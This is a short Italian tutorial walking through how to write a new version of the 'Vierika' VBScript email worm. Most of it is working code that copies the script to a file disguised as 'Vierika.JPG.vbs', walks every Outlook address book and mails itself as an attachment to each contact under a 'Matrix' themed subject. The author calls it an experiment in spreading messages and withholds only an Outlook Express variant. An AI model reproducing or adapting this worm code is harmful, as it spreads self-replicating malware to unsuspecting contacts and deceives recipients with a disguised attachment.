Quando ci si accinge a scrivere un software ... virus... c'è da porsi se non altro l'obiettivo da raggiungere. Trovo limitativo il fine di distruggere file. Trovo invece interessante portare messaggi, creare. Facciamo un esperimento: scrivere una nuova versione di Vierika...
Scrivendo un VBS la prima operazione è duplicarci. Così:
Set
VierikaFile = createobject("scripting.filesystemobject")
VierikaFile.copyfile wscript.scriptfullname, "c:\Vierika.JPG.vbs"
In questo modo abbiamo creato una copia del file VBS nella root che stiamo
eseguendo in questo momento. E' ovvio che l'esecuzione è effettuata dall'utente
che riceve questa mail ed apre l'allegato.
Poi creiamo in memoria un oggetto Microsoft Outlook e accediamo alla rubrica o alle diverse rubriche.
Set Client = CreateObject("Outlook.Application")
Set Address = Client.GetNameSpace("MAPI")
For ItemList = 1 To Address.AddressLists.Count '<------
Ciclo per tute le rubriche
Set CurrentAddress =
Address.AddressLists(ItemList) '<----puntiamo
la rubrica corrente
For entries = 1 To CurrentAddress.AddressEntries.Count '<----
Ciclo per gli indirizzi Email
victim =
CurrentAddress.AddressEntries(entries) '<----
Victim contiene l'email
Set Mailtosend =
Client.CreateItem(0) '<----
Crea in memoria la mail
Mailtosend.Recipients.Add (victim) '<----
Scrive l'indirizzo Email
Mailtosend.Subject =
"The Matrix has you" '<----
Scrive il soggetto della Email
Mailtosend.Body
="Wake up Neo..." '<----
Scrive il testo della Email
Mailtosend.Attachments.Add
("c:\Vierika.JPG.vbs") '<----
Aggiunge l'allegato alla Email
Mailtosend.Send
'<---- Spedisce la Email
Next
Next
'Distrugge gli oggetti in memoria
Set Client = Nothing
Set Address = Nothing
Questa versione funziona solo se l'utente è in possesso
di Microsoft Outlook e non Outlook Express. Per replicarsi tramite Outlook
Express il sistema è leggermente diverso...
...al momento... preferisco non pubblicare tale routine... l'uso improprio potrebbe fare comodo a chi crea virus per danneggiare sistemi...